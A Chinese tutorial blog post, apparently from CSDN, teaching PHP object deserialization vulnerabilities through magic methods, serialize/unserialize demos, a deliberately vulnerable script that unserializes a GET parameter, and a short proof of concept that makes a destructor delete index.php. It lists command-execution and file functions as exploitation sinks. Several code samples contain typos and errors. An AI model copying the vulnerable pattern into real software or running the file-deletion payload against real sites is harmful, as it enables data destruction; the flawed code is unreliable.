网络安全之反序列化漏洞

目录

一·PHP类与对象

类Class

一个共享相同结构和行为的对象的集合

类的实例

二.Magic函数

函数作用

案例

三.PHP序列化与反序列化

序列化与反序列化

其他序列化的格式

序列化中不需要序列化的字段

反序列化演示

注意:

作用

反序列化与Magic函数

四。反序列化的发生

场景演示

反序列化漏洞发生的条件

常见的利用函数


一·PHP类与对象

类Class

一个共享相同结构和行为的对象的集合

<?php
 class MyClass{
    var $var1;
    var $var2 ="constant string";

    function myfunc ($arg1,$arg2){
        [......]
    }
    [....]
}

?>

类的实例

$baidu = new Site;
$kitty = new Cat;
$benz = new Car;

二.Magic函数

函数作用

函数作用
__construct当一个对象创建时被调用
__destruct当一个对象销毁时被调用
__toString当一个对象被当做一个字符串使用
__sleep在对象被反序列化之前运行
__wakeup在对象被反序列化之后被调用
__serialize对对象调用serialize()方法,PHP 7.4.0起
__unserialize对对象调用unserialize()方法,PHP 7.4.0起

函数作用
__call()在对象上下文调用不可访问的方法时触发
__callStatic在静态上下文中调用不可访问的方法时触发
__get()用于从不可访问的属性读取数据
__set()用于将数据写入不可访问的属性
__isset()在不可访问的属性上调用isset()或者empty()触发
__unset()在不可访问的属性上使用unset()时触发
__invoke()当脚步尝试将对象调为函数时触发

案例

<?php
/**
*Class MyClss
*Magic函数演示
*/
calss Myclass{
    public $var = "hello word\n";

    public function echoString(){
        echo $this->var;
    } 
    //对象创建的时候调用
    public function __construct(){
        echo "__construct\n";
    }
    //对象销毁的时候调用
    public function __destruct(){
        echo "__destruct\n";
    }
    //对象被当成字符串的时候调用
    public function __toString(){
       return "__toString\n";
    }
}

//创建一个新的对象,__construct被调用
$obj = new MyClass();
//调用该类的方法
$obj->echoString();
//以字符形式输出,__toString方法被调用
echo $obj;
//php脚本要结束时,__destruct会被调用
    
?>

三.PHP序列化与反序列化

序列化与反序列化

<?php
/**
*Class SerialType
*不同类型的序列化演示
*/
class SerialType{
    
    public $data;
    private $pass;
    const CONTRY = 'CHINA';
    
    public function __construct($data,$pass)
    {
        $this->data = $data;
        $this->pass = $pass;
    }
}

$number = 32;
$str = 'hello';
$bool = true;
$NULL = NULL;
$arr = array('a' => 1,'bbbb' => 9);
$obj = new SerialType(data: 'somestr',pass: 'true');

var_dump(serialize($number));
var_dump(serialize($str));
var_dump(serialize($bool));
var_dump(serialize($arr));
var_dump(serialize($obj));
var_dump(value:CONTRY);

?>

其他序列化的格式

json字符串 json_encode

<?php
/**
*Class Jsonclass 
*JSON和XML的序列化演示
*/
class JsonClass{
    public $word = "hello word";
    public $prop = array('name' => 'darkroom', 'age' => 31, 'motto' => 'Apple keep doctor');

}
$obj = new JsonClass();
//转化对象为JSON字符串
$s = json_encode($obj);
//转换对象为XML
$x = wddx_serialize_value($obj );
echo $s;
echo "\n";
echo $x;
?>

xml字符串 wddx_serialize_value

二进制格式

字节数组

序列化中不需要序列化的字段

<?php

class User{
    const SITE = 'darkroom';

    public $username;
    public $nickname;
    private $password;

    public function __construct($username, $nickname, $password){
        $this->username = $username;
        $this->nickname = $nickname;
        $this->password = $password;
    }
    //重载序列化调用非法
    public function __sleep(){
        //返回需要序列化的变量名,过滤掉password变量
    return array('username', 'nickname'); 
    }
}
$user = new User(username:'hackerdarkroom', nickname:'darkroom', password:'123456');
var_dump(serialize($user));
?>

反序列化演示

<?php
/**
*Class UnSerializeTest
*反序列化的演示
*/
class UnSerializeTest{
    public $var = "hello darkroom\n";
    public function echoString(){
        echo $this->var;
    }

     public function __consturct(){
        echo "__consturct\n";
    }
    
    public function __destruct(){
        echo "__destruct\n";
    }

    public function __serialize(){
        echo "__serialize\n";
    }

    public function __wakup(){
        echo "__wakup\n";
    }
}

//创建一个新的类
//$obj1 = new UnSerializeTest();
//调用该类的
//$obj1->echoString();
//输出序列化以后的字符
//echo "序列化以后的结果:\n";
//echo serialize($obj1);

//反序列化
//"0"表示对象,“15”表示对象长度为15,"UnSerializeTest"为对象名,“1”表示有一个参数
//“{}”里面是参数的key和value,"s"表示string对象,“11”表示长度,“var”则为key
//!注意,var内容和长度可以修改
//$obj2 = unserialize('0:15"UnSerializeTest":1:{s:3:"var";s:12:"hello darkroom";}');

//调用对象的方法
echo "反序列化以后执行的结果: \n";
var_dump($obj2);
$obj2->echoString();
?>

注意:

1.如果传递的字符串不可以序列化,则返回FALSE

2。如果对象没有预定义,反序列化得到的对象是_PHP_Incomplete_Class

作用

1.传输对象

2.用作缓存(Cookie,Session)

反序列化与Magic函数

__wakup

__unserialize

如果类中同时定义了__unserialize()和__wakup()两个魔法函数,则只有__unserialize()方法会生效,__wakup()方法会被忽略

四。反序列化的发生

场景演示

<?php
/**
*logfile.php
*
*Class logfile 
*功能说明,临时记录日志到error.log文件
*__destruct被调用的时候,删除error.log文件
*/
class logfile{
    //log文件名
    public filename = 'error.log';
    //一些由于存储用户日志的代码
    public function logdata($text){
        echo 'log data:'.$text.'<br />';
        file_put_contents($this->filename,$text,flags:FILE_APPEND);
    }
        
    //destrcuctor 删除日志文件
    public function __destruct(){
        echo '__destruct deletes'.$this->filename.'file.<br />';
        unlink(filename:dirname(path:__FILE__).'/'.$this->filename);
    }
} 



?>
<?php
/**
*引用了logfile文件,包含__destruct方法
*request.php
**/
include 'logfile.php';
class User{
    //类数据
    public $age = 0;
    public $name ='';
    //输出数据
    public function printdata(){
        echo 'User'.$this->name.'is'.$this->age.'year old.<br />';
    }

}
//通过GET请求参数传入字符
//此处可以反序列化任意对象
$usr = unserialize($_GET['param']);
?>
<?php
/**
*poc.php
*
*/

include 'logfile.php';
$obj = new logfile();

$obj->filename = 'index.php';

//序列化
echo serialize($obj);
?>

反序列化漏洞发生的条件

1.unserialize函数的参数可控,比如通过GET请求传参(漏洞触发点)

2。脚本中定义了有Magic方法,方法里面有向PHP文件做读写数据或者执行命令的操作,比如__destruct(),unlink()

3.读写的内容需要有对象中的成员变量的值,比如filename

常见的利用函数

类别函数
命令执行

exec()

passthru()

popen()

system()

........

文件操作

file_put_contents()

file_get_contents()

unlink()

........

  • 4
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

渗透者:'

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值